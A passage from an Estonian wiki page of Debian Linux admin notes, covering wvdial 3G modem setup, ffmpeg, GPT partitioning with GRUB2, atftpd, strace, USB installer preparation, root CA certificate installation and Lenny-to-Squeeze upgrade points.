 crw-rw---- 1 root dialout 188, 2 Apr 27 23:15 /dev/ttyUSB2&lt;br /&gt;
 crw-rw---- 1 root dialout 188, 3 Apr 27 23:15 /dev/ttyUSB3&lt;br /&gt;
&lt;br /&gt;
wvdial tarkvara tööd juhib seadistusfail /etc/wvdial.conf&lt;br /&gt;
&lt;br /&gt;
 # cat /etc/wvdial.conf&lt;br /&gt;
 [Dialer Defaults]&lt;br /&gt;
 Phone = *99***1#&lt;br /&gt;
 Username = username&lt;br /&gt;
 Password = password&lt;br /&gt;
 Stupid Mode = 1&lt;br /&gt;
 Dial Command = ATDT&lt;br /&gt;
 &lt;br /&gt;
 [Dialer hsdpa]&lt;br /&gt;
 Modem = /dev/ttyUSB0&lt;br /&gt;
 Baud = 460800&lt;br /&gt;
 Init2 = ATZ&lt;br /&gt;
 Init3 = ATQ0 V1 E1 S0=0 &amp;amp;C1 &amp;amp;D2 +FCLASS=0&lt;br /&gt;
 ISDN = 0&lt;br /&gt;
 Modem Type = Analog Modem&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* Phone - väärtus sõltub teenusepakkujast&lt;br /&gt;
&lt;br /&gt;
Käivitamiseks sobib öelda juurkasutajana&lt;br /&gt;
&lt;br /&gt;
 # wvdial hsdpa&lt;br /&gt;
 --&amp;gt; WvDial: Internet dialer version 1.60&lt;br /&gt;
 --&amp;gt; Cannot get information for serial port.&lt;br /&gt;
 --&amp;gt; Initializing modem.&lt;br /&gt;
 --&amp;gt; Sending: ATZ&lt;br /&gt;
 ATZ&lt;br /&gt;
 OK&lt;br /&gt;
 --&amp;gt; Sending: ATZ&lt;br /&gt;
 ATZ&lt;br /&gt;
 OK&lt;br /&gt;
 --&amp;gt; Sending: ATQ0 V1 E1 S0=0 &amp;amp;C1 &amp;amp;D2 +FCLASS=0&lt;br /&gt;
 ATQ0 V1 E1 S0=0 &amp;amp;C1 &amp;amp;D2 +FCLASS=0&lt;br /&gt;
 OK&lt;br /&gt;
 --&amp;gt; Modem initialized.&lt;br /&gt;
 --&amp;gt; Sending: ATDT*99***1#&lt;br /&gt;
 --&amp;gt; Waiting for carrier.&lt;br /&gt;
 ATDT*99***1#&lt;br /&gt;
 CONNECT&lt;br /&gt;
 --&amp;gt; Carrier detected.  Starting PPP immediately.&lt;br /&gt;
 --&amp;gt; Starting pppd at Tue Apr 27 23:41:55 2010&lt;br /&gt;
 --&amp;gt; Pid of pppd: 7879&lt;br /&gt;
 --&amp;gt; Using interface ppp0&lt;br /&gt;
 --&amp;gt; pppd: @« @« x« &lt;br /&gt;
 --&amp;gt; pppd: @« @« x« &lt;br /&gt;
 --&amp;gt; pppd: @« @« x« &lt;br /&gt;
 --&amp;gt; pppd: @« @« x« &lt;br /&gt;
 --&amp;gt; pppd: @« @« x« &lt;br /&gt;
 --&amp;gt; pppd: @« @« x« &lt;br /&gt;
 --&amp;gt; pppd: @« @« x« &lt;br /&gt;
 --&amp;gt; local  IP address 192.168.3.91&lt;br /&gt;
 --&amp;gt; pppd: @« @« x« &lt;br /&gt;
 --&amp;gt; remote IP address 10.64.64.64&lt;br /&gt;
 --&amp;gt; pppd: @« @« x« &lt;br /&gt;
 --&amp;gt; primary   DNS address 192.168.32.116&lt;br /&gt;
 --&amp;gt; pppd: @« @« x« &lt;br /&gt;
 --&amp;gt; secondary DNS address 192.168.32.115&lt;br /&gt;
 --&amp;gt; pppd: @« @« x« &lt;br /&gt;
&lt;br /&gt;
Tulemusena tekib süsteemi juurde PPP seade, nt&lt;br /&gt;
&lt;br /&gt;
 # ifconfig ppp0&lt;br /&gt;
 ppp0      Link encap:Point-to-Point Protocol  &lt;br /&gt;
           inet addr:192.168.3.91  P-t-P:10.64.64.64  Mask:255.255.255.255&lt;br /&gt;
           UP POINTOPOINT RUNNING NOARP MULTICAST  MTU:1500  Metric:1&lt;br /&gt;
           RX packets:7 errors:3 dropped:0 overruns:0 frame:0&lt;br /&gt;
           TX packets:8 errors:0 dropped:0 overruns:0 carrier:0&lt;br /&gt;
           collisions:0 txqueuelen:3 &lt;br /&gt;
           RX bytes:118 (118.0 B)  TX bytes:157 (157.0 B)&lt;br /&gt;
&lt;br /&gt;
====Netipulga kasutamine====&lt;br /&gt;
&lt;br /&gt;
Peale PPP lingi tekkimist piisab liiklus ruutida üle selle lingi ning saab kasutada võrku, nt&lt;br /&gt;
&lt;br /&gt;
 # route add -net 172.23.0.0 netmask 255.255.0.0 gw 192.168.3.91&lt;br /&gt;
&lt;br /&gt;
Lisaks nö sihipärasele mobiilsele töökohale andmeside tekitamisele on võimalikud nt sellised kasutusalad&lt;br /&gt;
&lt;br /&gt;
* ühendada võrku arvuteid, mida muul viisil võib olla tülikas ühendada&lt;br /&gt;
* ühendada arvutile külge alternatiivne andmesidekanal (nt monitooringuarvutist teadete saatmiseks)&lt;br /&gt;
&lt;br /&gt;
Kasutamisel tuleb arvestada, et läbi lisandunud seadme on võimalik lisaks välja pöördumisele ka sisse pöörduda, seepärast tasub kaaluda seoses netipulgaga paketifiltri kasutamist.&lt;br /&gt;
&lt;br /&gt;
===ffmpeg kasutamine===&lt;br /&gt;
&lt;br /&gt;
ffmpeg tarkvara abil saab ekraanil toimuvat nö videona salvestada&lt;br /&gt;
&lt;br /&gt;
 $ ffmpeg -f x11grab -s 720x480 -r 23.976 -i :0.0 /tmp/file.mpg&lt;br /&gt;
&lt;br /&gt;
QuickTime andmete teisendamine&lt;br /&gt;
&lt;br /&gt;
 $ ffmpeg -i video-in.mov -vcodec mpeg4 video-out.avi&lt;br /&gt;
&lt;br /&gt;
QuickTime teisendamine Digital Video formaati&lt;br /&gt;
&lt;br /&gt;
 $ ffmpeg -i fail.mov -s pal -r pal -aspect 4:3 -ar 48000 -ac 2 fail.dv&lt;br /&gt;
&lt;br /&gt;
Taasesitamine nö ressursisäästlikult&lt;br /&gt;
&lt;br /&gt;
 $ mplayer -vo xv -vfm ffmpeg -lavdopts lowres=1:fast:skiploopfilter=1 video-out.avi&lt;br /&gt;
&lt;br /&gt;
Kasulikud lisamaterjalid&lt;br /&gt;
&lt;br /&gt;
* http://viki.pingviin.org/MPlayer&lt;br /&gt;
* http://www.kinodv.org/&lt;br /&gt;
&lt;br /&gt;
===Märkused===&lt;br /&gt;
&lt;br /&gt;
* Selleks, et vaikimisi ei seataks pakettidele DF (don't fragment), sobib öelda&lt;br /&gt;
&lt;br /&gt;
 # sysctl -w net.ipv4.ip_no_pmtu_disc=1&lt;br /&gt;
&lt;br /&gt;
* arvuti viimaseid reboote näitab käsk&lt;br /&gt;
&lt;br /&gt;
 # last reboot -f /var/log/wtmp.1 &lt;br /&gt;
 reboot   system boot  3.16.0-4-amd64   Fri Aug  7 00:35 - 02:03 (38+01:27)  &lt;br /&gt;
 reboot   system boot  3.16.0-4-amd64   Wed Aug  5 00:14 - 00:35 (2+00:20)   &lt;br /&gt;
 reboot   system boot  3.16.0-4-amd64   Tue Aug  4 22:57 - 23:51  (00:53)    &lt;br /&gt;
 reboot   system boot  3.16.0-4-amd64   Tue Aug  4 22:56 - 22:57  (00:01)&lt;br /&gt;
&lt;br /&gt;
kus esimese rea teine kellaaeg on käesolev aeg (ja liigub), sulgudes on praktiliselt arvuti käesolev uptime; teiste ridade sulgudes on vastavad uptime ajad&lt;br /&gt;
&lt;br /&gt;
* Failide-alamkataloogide-jms arv kataloogis&lt;br /&gt;
&lt;br /&gt;
 # for i in `ls -d /*` ; do echo -n &amp;quot;$i: &amp;quot;; find $i | wc -l; done&lt;br /&gt;
&lt;br /&gt;
===PCMCIA seadmete kasutamine===&lt;br /&gt;
&lt;br /&gt;
 # apt-get install pcmciautils&lt;br /&gt;
&lt;br /&gt;
===ExpressCard seadmete kasutamine===&lt;br /&gt;
&lt;br /&gt;
Reeglina paistavad ExpressCard http://en.wikipedia.org/wiki/ExpressCard seadmed operatsioonisüsteemile USB seadmetena.&lt;br /&gt;
&lt;br /&gt;
===syslog-ng kasutamine logiserverina===&lt;br /&gt;
&lt;br /&gt;
syslog-ng http://www.balabit.com/network-security/syslog-ng/ sobib kasutada logiserveris ja tal on sellised omadused&lt;br /&gt;
&lt;br /&gt;
* TODO&lt;br /&gt;
&lt;br /&gt;
Debian Lenny sisaldab syslog-ng versioon 2.0, paigaldamiseks tuleb öelda&lt;br /&gt;
&lt;br /&gt;
 # apt-get install syslog-ng&lt;br /&gt;
&lt;br /&gt;
Tarkvara tööd juhib seadistusfail /etc/syslog-ng/syslog-ng.conf&lt;br /&gt;
&lt;br /&gt;
===Failisüsteem===&lt;br /&gt;
&lt;br /&gt;
Debiani failisüsteemiga on seotud operatsioonisüsteemi seisukohalt sellised üldised asjaolud&lt;br /&gt;
&lt;br /&gt;
* /proc ja /sys kataloogid on nö vaated töötavale linuxi tuumale&lt;br /&gt;
&lt;br /&gt;
====Named ja unnamed pipe====&lt;br /&gt;
&lt;br /&gt;
Pipe on FIFO ja selle instrumendi abil saavad programmid omavahel andmeid vahetada, nt named pipe puhul sobib ühes aknas öelda&lt;br /&gt;
&lt;br /&gt;
 $ mkfifo /tmp/fifonimi&lt;br /&gt;
 $ cat &amp;lt; /tmp/fifonimi&lt;br /&gt;
&lt;br /&gt;
ja teises aknas öelda&lt;br /&gt;
&lt;br /&gt;
 $ cal &amp;gt; /tmp/fifonimi&lt;br /&gt;
&lt;br /&gt;
siis tulemusena esitatakse esimeses aknas cal käsu väljund.&lt;br /&gt;
&lt;br /&gt;
Osutub, et pipe ei ole alati vajalik moodustada mkfifo käsu abil, sobib ka nii, sellisel juhul on tegu anonüümse pipe'iga&lt;br /&gt;
&lt;br /&gt;
 $ cal | cat&lt;br /&gt;
&lt;br /&gt;
===Pidgin===&lt;br /&gt;
&lt;br /&gt;
Pidgin (nö vana nimega Gaim) http://www.pidgin.im/ on mitmeid protokolle toetav instant messaging tarkvara. Kuna Debiani paketihalduse Pidgin tõrgub vahel, siis üks otsekohene alternatiiv on kasutada lähtetekstist kompileeritud Pidgini&lt;br /&gt;
&lt;br /&gt;
 # apt-get build-dep pidgin&lt;br /&gt;
 $ ./configure --prefix=/opt/pidgin --disable-vv --disable-idn&lt;br /&gt;
 $ make&lt;br /&gt;
 $ make install&lt;br /&gt;
&lt;br /&gt;
Pidgin v. 2.10.0, tundub, et kui kasutada süsteemis mozilla.debian.net tarkvara, siis ebaõnnestub sõltuvuste tõttu&lt;br /&gt;
&lt;br /&gt;
 # apt-get build-dep pidgin&lt;br /&gt;
&lt;br /&gt;
Sellisel juhul tuleb käsitsi paigaldada&lt;br /&gt;
&lt;br /&gt;
 # apt-get install intltool libglib2.0-dev libgtk2.0-dev&lt;br /&gt;
&lt;br /&gt;
 $ ./configure --prefix=/opt/pidgin --disable-vv --disable-idn --disable-nm --disable-screensaver \&lt;br /&gt;
   --disable-gtkspell --disable-gstreamer --disable-meanwhile --disable-avahi --disable-dbus --disable-tk&lt;br /&gt;
 ...&lt;br /&gt;
&lt;br /&gt;
===lm-sensors===&lt;br /&gt;
&lt;br /&gt;
lm-sensors http://www.lm-sensors.org/ tarkvara paigaldamiseks sobib öelda&lt;br /&gt;
&lt;br /&gt;
 # apt-get install lm-sensors&lt;br /&gt;
&lt;br /&gt;
Esmalt tuleb teha kindlaks olemasolev riistvara ning laadida vastavad moodulid&lt;br /&gt;
&lt;br /&gt;
 # sensors-detect&lt;br /&gt;
&lt;br /&gt;
Kasutamiseks öelda nt&lt;br /&gt;
&lt;br /&gt;
 # sensors -A | grep  Core&lt;br /&gt;
 Core 0:      +47.0 C  (high = +76.0 C, crit = +100.0 C)  &lt;br /&gt;
 Core 1:      +51.0 C  (high = +76.0 C, crit = +100.0 C)  &lt;br /&gt;
 Core 2:      +41.0 C  (high = +76.0 C, crit = +100.0 C)  &lt;br /&gt;
 Core 3:      +41.0 C  (high = +76.0 C, crit = +100.0 C)&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* Core N - protsessori tuuma temperatuur&lt;br /&gt;
&lt;br /&gt;
===GPT kasutamine===&lt;br /&gt;
&lt;br /&gt;
GPT (GUID Partition Table) http://en.wikipedia.org/wiki/GUID_Partition_Table on seotud järgmiste probleemide lahendamisega&lt;br /&gt;
&lt;br /&gt;
* operatsioonisüsteemis soovitakse kasutada suuremat partitsiooni kui 2TB&lt;br /&gt;
* arvuti riistvara ei kasuta nn PC-BIOS'i vaid nt UEFI't (Unified Extensible Firmware Interface)&lt;br /&gt;
* kasutatakse 4096 B plokisuurusega kõvaketast&lt;br /&gt;
* saab kasutada kuni 128 nn primary partitsiooni&lt;br /&gt;
&lt;br /&gt;
====GPT partitsioonide haldamine====&lt;br /&gt;
&lt;br /&gt;
GPT partitsioonide haldamiseks sobib 2010 aasta suvel kasutada nt programme parted ja gdisk, esmalt tuleb moodustada plokkseadmele label öeldes&lt;br /&gt;
&lt;br /&gt;
 # parted /dev/sdc&lt;br /&gt;
 (parted) mklabel gpt&lt;br /&gt;
 Warning: The existing disk label on /dev/sdc will be destroyed and all data on this disk will be lost. Do you want to continue?&lt;br /&gt;
 Yes/No? Yes&lt;br /&gt;
&lt;br /&gt;
TODO&lt;br /&gt;
&lt;br /&gt;
Kui kasutada fdisk programmi GPT partitsioonitabelit kasutava plokkseadmega, siis paistab tulemus selline&lt;br /&gt;
&lt;br /&gt;
 # fdisk -uc /dev/sda -l&lt;br /&gt;
 WARNING: GPT (GUID Partition Table) detected on '/dev/sda'! The util fdisk doesn't support GPT. Use GNU Parted.&lt;br /&gt;
 ... &lt;br /&gt;
    Device Boot      Start         End      Blocks   Id  System&lt;br /&gt;
 /dev/sda1               1    10485759     5242879+  ee  GPT&lt;br /&gt;
&lt;br /&gt;
====GRUB2 alglaaduri kasutamine GPT ja PC-BIOS riistvaraga====&lt;br /&gt;
&lt;br /&gt;
Kui UEFI riistavara töötab GRUB2 alglaaduri ja GPT partitsioneeritud kõvakettaga nö otseselt, siis PC-BIOS arvuti puhul tuleb kasutada seejuures mõnda täiendavat võtet. Üldiselt toimub PC-BIOS riistvaral töötava süsteemi alglaadimine selliselt&lt;br /&gt;
&lt;br /&gt;
* kõvakettale on moodustatud kolm GPT partitsiooni&lt;br /&gt;
&lt;br /&gt;
 (parted) p                                                                &lt;br /&gt;
 &lt;br /&gt;
 Number  Start     End          Size         File system  Name      Flags&lt;br /&gt;
  1      2048s     4095s        2048s                     biosboot  bios_grub&lt;br /&gt;
  2      4096s     1052671s     1048576s                  boot&lt;br /&gt;
  3      1052672s  3905974271s  3904921600s               system&lt;br /&gt;
&lt;br /&gt;
* alglaadimisel loetakse üks alglaaduri aste esimeselt partitsioonilt&lt;br /&gt;
* järgmised astmed ning operatsioonisüsteemi tuum ja initramfs loetakse boot partitsioonilt&lt;br /&gt;
* operatsioonisüsteemi juurfailisüsteem asub kolmandal partitsioonil või sellel paiknevalt loogiliselt seadmelt, nt LVM köitelt&lt;br /&gt;
&lt;br /&gt;
=====GPT partitsioonide moodustamine=====&lt;br /&gt;
&lt;br /&gt;
 (parted) unit s&lt;br /&gt;
 (parted) mkpart biosboot 2048 4095&lt;br /&gt;
 (parted) set 1 bios_grub on                                               &lt;br /&gt;
 (parted) mkpart boot 4096 1052671                                         &lt;br /&gt;
 (parted) mkpart system 1052672 3907026943&lt;br /&gt;
 (parted) set 3 lvm on&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* tuleb jälgida, et partitsioonide suurused saavad sobivad, kaks esimest võiksid olla suhtliselt universaalselt sobivad&lt;br /&gt;
&lt;br /&gt;
=====Failisüsteemide ettevalmistamine=====&lt;br /&gt;
&lt;br /&gt;
GPT pealt töötava süsteemi saab ettevalmistada nt ühendades vastav plokkseade külge mõnele olemasolevale töötavale süsteemile. Seejärel moodustada seadmele GPT partitsioonitabel, failisüsteemid ning kopeerida sinna töötav süsteem üle, nt rsync abil.&lt;br /&gt;
&lt;br /&gt;
=====GRUB2 seadistamine ja paigaldamine=====&lt;br /&gt;
&lt;br /&gt;
GRUB2 seadistamiseks sobib kasutada nt sellist /etc/grub.d/40_custom faili&lt;br /&gt;
&lt;br /&gt;
 #!/bin/sh&lt;br /&gt;
 exec tail -n +3 $0&lt;br /&gt;
 # This file provides an easy way to add custom menu entries.  Simply type the&lt;br /&gt;
 # menu entries you want to add after this comment.  Be careful not to change&lt;br /&gt;
 # the 'exec tail' line above.&lt;br /&gt;
 &lt;br /&gt;
 echo &amp;quot;Debian GPT&amp;quot; &amp;gt;&amp;amp;2&lt;br /&gt;
 menuentry &amp;quot;Debian GPT&amp;quot; {&lt;br /&gt;
 insmod part_gpt&lt;br /&gt;
 insmod ext2&lt;br /&gt;
 set root=(hd0,gpt2)&lt;br /&gt;
 linux /vmlinuz-2.6.32-2-amd64 root=/dev/mapper/system-root ro&lt;br /&gt;
 initrd /initrd.img-2.6.26-2-amd64&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* insmod part_gpt - grub2 laadib omale GTP partitsioonitabeli tundmise tarkuse&lt;br /&gt;
* (hd0,gpt2) - näitab millisel GPT partitsioonil asub /boot failisüsteem&lt;br /&gt;
&lt;br /&gt;
Eeldusel, et failisüsteemid on monteeritud öelda&lt;br /&gt;
&lt;br /&gt;
 # grub-install --recheck --no-floppy --root-directory=/mnt/root /dev/sda&lt;br /&gt;
 Installation finished. No error reported.&lt;br /&gt;
&lt;br /&gt;
Tulemusena peaks arvuti käivituma.&lt;br /&gt;
&lt;br /&gt;
====4096 B plokisuurusega kõvaketaste kasutamine====&lt;br /&gt;
&lt;br /&gt;
2010 aasta suvel on 4k plokisuurusega kõvaketaste kasutamine pisut ebaselge, tundub, et üldiselt peaks utiliidid sellega automaatselt hiljem või varem hakkama saama. Hetkel näib ohutu nö käsitsi arvestada, et partitsiooni algus satuksid arvudega 8 ja 512 jaguvatele kohtadele, nt kasutades GPT partitsioonitabelit selliselt&lt;br /&gt;
&lt;br /&gt;
 (parted) unit s                                                           &lt;br /&gt;
 (parted) mkpart system 2048 327679999&lt;br /&gt;
 (parted) mkpart pgdata 327680000 164863999&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* unit s - edasi esitatakse partitsiooni algus ja lõpp sektori numbrina&lt;br /&gt;
* system - partitsiooni nimi kasutajale tähendust omaval kujul&lt;br /&gt;
* 2048 - partitsiooni algussektor&lt;br /&gt;
* 327679999 - partitsiooni lõpp sektor, arvestusega, et 327679999 + 1 jagub arvudega 8 ja 512&lt;br /&gt;
&lt;br /&gt;
Paritsioonitüüpide näitamiseks öelda&lt;br /&gt;
&lt;br /&gt;
 (parted) set 1 lvm on&lt;br /&gt;
 (parted) set 2 lvm on&lt;br /&gt;
&lt;br /&gt;
Tulemuseks on&lt;br /&gt;
&lt;br /&gt;
 (parted) p                                                                &lt;br /&gt;
 Model: ATA WDC WD2003FYYS-0 (scsi)&lt;br /&gt;
 Disk /dev/sdc: 3907029168s&lt;br /&gt;
 Sector size (logical/physical): 512B/512B&lt;br /&gt;
 Partition Table: gpt&lt;br /&gt;
 &lt;br /&gt;
 Number  Start       End         Size        File system  Name  Flags&lt;br /&gt;
  1      2048s       327679999s  327677952s               system   lvm&lt;br /&gt;
  2      327680000s  328703999s  1024000s                 pgdata   lvm&lt;br /&gt;
&lt;br /&gt;
Kui selliselt ettevalmistatud plokkseadmel kasutada failisüsteemi või nt mdadm, lvm või cryptsetup lahendusi, siis väidetavalt neile sobib 4k plokisuuris hästi.&lt;br /&gt;
&lt;br /&gt;
====Kasulikud lisamaterjalid====&lt;br /&gt;
&lt;br /&gt;
* http://www.ibm.com/developerworks/linux/library/l-4kb-sector-disks/&lt;br /&gt;
* http://www.johannes-bauer.com/linux/wdc/?menuid=3&lt;br /&gt;
* http://grub.enbug.org/BIOS_Boot_Partition&lt;br /&gt;
* http://wiki.archlinux.org/index.php/User:Skodabenz/GPT&lt;br /&gt;
* http://jamie.mayfirst.org/posts/2010/two-tb-disks/&lt;br /&gt;
* http://www.wensley.org.uk/gpt&lt;br /&gt;
&lt;br /&gt;
===atftpd kasutamine===&lt;br /&gt;
&lt;br /&gt;
atftpd on tftpd server ning atftp vastav klient.&lt;br /&gt;
&lt;br /&gt;
====Server====&lt;br /&gt;
&lt;br /&gt;
Serveri paigaldamiseks sobib öelda&lt;br /&gt;
&lt;br /&gt;
 # apt-get install atftpd&lt;br /&gt;
&lt;br /&gt;
Seejuures küsitakse hulk küsimusi, vaikimisi käivitatakse paigaldamise lõpuks tftp teenus inetd superserverist ning kataloogiks on /srv/tftp.&lt;br /&gt;
&lt;br /&gt;
Tööd juhitakse&lt;br /&gt;
&lt;br /&gt;
* /etc/default/atftpd failis&lt;br /&gt;
&lt;br /&gt;
 USE_INETD=true&lt;br /&gt;
&lt;br /&gt;
* /etc/inetd.conf failis sarnase reaga&lt;br /&gt;
&lt;br /&gt;
 tftp  dgram   udp4   wait   nobody /usr/sbin/tcpd /usr/sbin/in.tftpd --tftpd-timeout 300 \&lt;br /&gt;
   --retry-timeout 5 --no-multicast --maxthread 100 --verbose=5 --logfile /var/log/atftpd.log /srv/tftp&lt;br /&gt;
&lt;br /&gt;
====Klient====&lt;br /&gt;
&lt;br /&gt;
Kliendi paigaldamiseks sobib öelda&lt;br /&gt;
&lt;br /&gt;
 # apt-get install atftp&lt;br /&gt;
&lt;br /&gt;
Kasutamiseks öelda nt&lt;br /&gt;
&lt;br /&gt;
 $ atftp 192.168.10.10&lt;br /&gt;
 tftp&amp;gt; get /srv/tftp/sg200-18-20131217-mirror.conf&lt;br /&gt;
&lt;br /&gt;
Tulemusena kopeeritakse fail kliendi käesolevasse kataloogi.&lt;br /&gt;
&lt;br /&gt;
===strace programmi kasutamine===&lt;br /&gt;
&lt;br /&gt;
Nö failisüsteemi tcpdump kasutamiseks sobib esmalt vaadata nt veebiseveri protsesside numbrid ja seejärel öelda&lt;br /&gt;
&lt;br /&gt;
 $ strace -p 19282 -p 19283 -p 19284 -p 19285 -p 19286 -p 19368 -p 20015 -p 29774 -p 29775 -f -e trace=open&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* -f - järgib forkisid&lt;br /&gt;
* -e määratleb, et jälgitakse failiavamisi&lt;br /&gt;
&lt;br /&gt;
Märkused&lt;br /&gt;
&lt;br /&gt;
* kui kasutada mitu korda -e parameetrit, siis kehtestub ainult viimane kasutamine&lt;br /&gt;
* kui kasutada -e järel mitut väärtust, nt '-e trace=read,write', siis väärtused OR-itakse kokku&lt;br /&gt;
* kui on soov jälgida konkreetse file descriptori kasutusi, siis tuleb strace väljundi teksti töödelda grep vms üldiste vahenditega&lt;br /&gt;
* shelli protsessi on huvitav strace'ida teisest aknast&lt;br /&gt;
&lt;br /&gt;
Kasulikud lisamaterjalid&lt;br /&gt;
&lt;br /&gt;
* http://myhowto.org/solving-problems/7-exploring-system-internals-with-lsof-and-strace/&lt;br /&gt;
* http://www.noah.org/wiki/Debugging_notes&lt;br /&gt;
&lt;br /&gt;
===Debian Squeeze paigaldamine USB pulgalt===&lt;br /&gt;
&lt;br /&gt;
Debian Squeeze operatsiooniüsteemi USB pulgalt paigaldamise eeldusteks on&lt;br /&gt;
&lt;br /&gt;
* kasutada on olemasolev võrguühendusega Linux arvuti&lt;br /&gt;
* installeeritav arvuti boodib USB pulgalt&lt;br /&gt;
* installeeritava arvuti saab ühendada võrku&lt;br /&gt;
&lt;br /&gt;
USB pulk tuleb Debian Squeeze paigaldamiseks ettevalmistada järgmiselt&lt;br /&gt;
&lt;br /&gt;
* vastaku USB pulgale seade /dev/sdf, pulk peab olema monteerimata olekus, st öelda&lt;br /&gt;
&lt;br /&gt;
 # umount /dev/sdf&lt;br /&gt;
&lt;br /&gt;
* lähtudes aadressilt http://www.debian.org/devel/debian-installer/ kopeerida sobivad boot.img.gz ning netinst.iso failid, nt&lt;br /&gt;
&lt;br /&gt;
 # http://ftp.nl.debian.org/debian/dists/testing/main/installer-amd64/current/images/hd-media/boot.img.gz&lt;br /&gt;
 # http://cdimage.debian.org/cdimage/squeeze_di_rc1/amd64/iso-cd/debian-sq-di-rc1-amd64-netinst.iso&lt;br /&gt;
&lt;br /&gt;
* kopeerida boot.img.gz pulgale öeldes&lt;br /&gt;
&lt;br /&gt;
 # zcat boot.img.gz &amp;gt; /dev/sdf&lt;br /&gt;
&lt;br /&gt;
* monteerida pulk ning kopeerida netinst iso&lt;br /&gt;
&lt;br /&gt;
 # mkdir /mnt/sdf&lt;br /&gt;
 # mount /dev/sdf /mnt/sdf&lt;br /&gt;
 # cp debian-sq-di-rc1-amd64-netinst.iso /mnt/sdf&lt;br /&gt;
&lt;br /&gt;
* ainult nn kommertsdraiveritega töötava riistvara kasutamiseks on vajalik lisaks kopeerida arhiiv firmware.tar.gz aadressilt http://cdimage.debian.org/cdimage/unofficial/non-free/firmware/, nt&lt;br /&gt;
&lt;br /&gt;
 # wget http://cdimage.debian.org/cdimage/unofficial/non-free/firmware/squeeze/current/firmware.tar.gz&lt;br /&gt;
&lt;br /&gt;
ning pakkida lahti pulga juurikale kataloogi firmware&lt;br /&gt;
&lt;br /&gt;
 # mkdir /mnt/sdf/firmware&lt;br /&gt;
 # tar -C /mnt/sdf/firmware -z -x -f firmware.tar.gz&lt;br /&gt;
&lt;br /&gt;
Lõpuks tuleb pult lahti monteerida&lt;br /&gt;
&lt;br /&gt;
 # umount /mnt/sdf&lt;br /&gt;
&lt;br /&gt;
Pulga kasutamiseks tuleb pult ühendada kõnealuse arvutiga, BIOS'ist seadistada käivituma USB pulgalt ning algab tarkvara paigaldus. Paigalduse käigus peaks olema kasutada internetiühendus.&lt;br /&gt;
&lt;br /&gt;
===SSL juur-sertifikaatide lisamine===&lt;br /&gt;
&lt;br /&gt;
Selleks, et süsteemi utiliidid, nt wget tunnustaksid veebiserveri sertifikaati peab olema vastav juur-sertifikaat ära kirjeldatud. Juur-sertifikaadi lisamiseks tuleb&lt;br /&gt;
&lt;br /&gt;
* paigaldada pakett ca-certificates&lt;br /&gt;
&lt;br /&gt;
 # apt-get install ca-certificates&lt;br /&gt;
&lt;br /&gt;
* kopeerida uus juur-sertifikaat kataloogi /usr/local/share/ca-certificates (failinimi peab lõppema .crt vastasel korral update-ca-certificates skript seda ei käsitle)&lt;br /&gt;
&lt;br /&gt;
 # cp Juur-LOOMAAED-cacert.pem /usr/local/share/ca-certificates/Juur-LOOMAAED.crt&lt;br /&gt;
&lt;br /&gt;
* öelda&lt;br /&gt;
&lt;br /&gt;
 # update-ca-certificates&lt;br /&gt;
&lt;br /&gt;
Tulemusena genereeritakse uued c_rehashid kataloogi /etc/ssl/certs&lt;br /&gt;
&lt;br /&gt;
 # ls -l /etc/ssl/certs/ | grep Juur&lt;br /&gt;
 lrwxrwxrwx 1 root root     44 Feb  3 14:18 Juur-LOOMAAED.pem -&amp;gt; /usr/local/share/ca-certificates/Juur-LOOMAAED.crt&lt;br /&gt;
 lrwxrwxrwx 1 root root     11 Feb  3 14:18 a376ee62.0 -&amp;gt; Juur-LOOMAAED.pem&lt;br /&gt;
&lt;br /&gt;
ning lisatakse ta suurfaili /etc/ssl/certs/ca-certificates.crt.&lt;br /&gt;
&lt;br /&gt;
===Debian v. 4 Etch -&amp;gt; v. 5 Lenny uuendamine===&lt;br /&gt;
&lt;br /&gt;
Kui sources.list failis lenny kasutamise järel apt-get update ütleb vea&lt;br /&gt;
&lt;br /&gt;
  W: There is no public key available for the following key IDs:&lt;br /&gt;
  4D270D06F42584E6&lt;br /&gt;
  W: You may want to run apt-get update to correct these problems&lt;br /&gt;
&lt;br /&gt;
siis aitab paigaldada debian-archive-keyring pakett&lt;br /&gt;
&lt;br /&gt;
  # apt-get install debian-archive-keyring&lt;br /&gt;
&lt;br /&gt;
Kui kasutusel on uuemad bnx2 draiveriga käivad võrgukaardid, siis tuleb jälgida, et oleks paigaldatud pakett firmware-bnx2&lt;br /&gt;
&lt;br /&gt;
  # apt-get install firmware-bnx2&lt;br /&gt;
&lt;br /&gt;
===Debian v. 5 Lenny -&amp;gt; v. 6 Squeeze uuendamine===&lt;br /&gt;
&lt;br /&gt;
Ametlik operatsioonisüsteem Debian GNU/Linux Lenny -&amp;gt; Squeeze (v. 5.0 -&amp;gt; v. 6.0) juhend asub aadresil http://www.debian.org/releases/squeeze/amd64/release-notes/ch-upgrading.en.html&lt;br /&gt;
&lt;br /&gt;
Uuendamise on oluline tähele panna järgmisi asjaolusid&lt;br /&gt;
&lt;br /&gt;
* asutakse kasutama dash shelli nö süsteemse shellina, mh tähendab see, et /bin/sh -&amp;gt; bash asemel on&lt;br /&gt;
&lt;br /&gt;
 $ ls -l /bin/sh &lt;br /&gt;
 lrwxrwxrwx 1 root root 4 Dec 26  2010 /bin/sh -&amp;gt; dash&lt;br /&gt;
&lt;br /&gt;
* asuda uuendama süsteemi, millele on kõik Lenny uuendused rakendatud&lt;br /&gt;
* asendatakse legacy GRUB GRUB2 alglaaduriga, vajadusel anda pärast uuendust töötavas Squeeze süsteemis käsk upgrade-from-grub-legacy&lt;br /&gt;
* veenduda enne uuendamise protseduuri, et failisüsteemis on piisavalt vaba ruumi&lt;br /&gt;
* asutakse bootloaderis kasutama failisüsteemide plokkseadmetele vastavaid UUID väärtusi&lt;br /&gt;
* eemdalda paketihaldusest mitte paigaldatud tarkvara (nt VMWare Tools)&lt;br /&gt;
* eemaldada /etc/ alt nö käsitsi lisatud start-up skriptid, mis võivad segada automaatset süsteemi migreerimist kasutama insserv käivitusskripte&lt;br /&gt;
&lt;br /&gt;
====Uuendamise protseduur====&lt;br /&gt;
&lt;br /&gt;
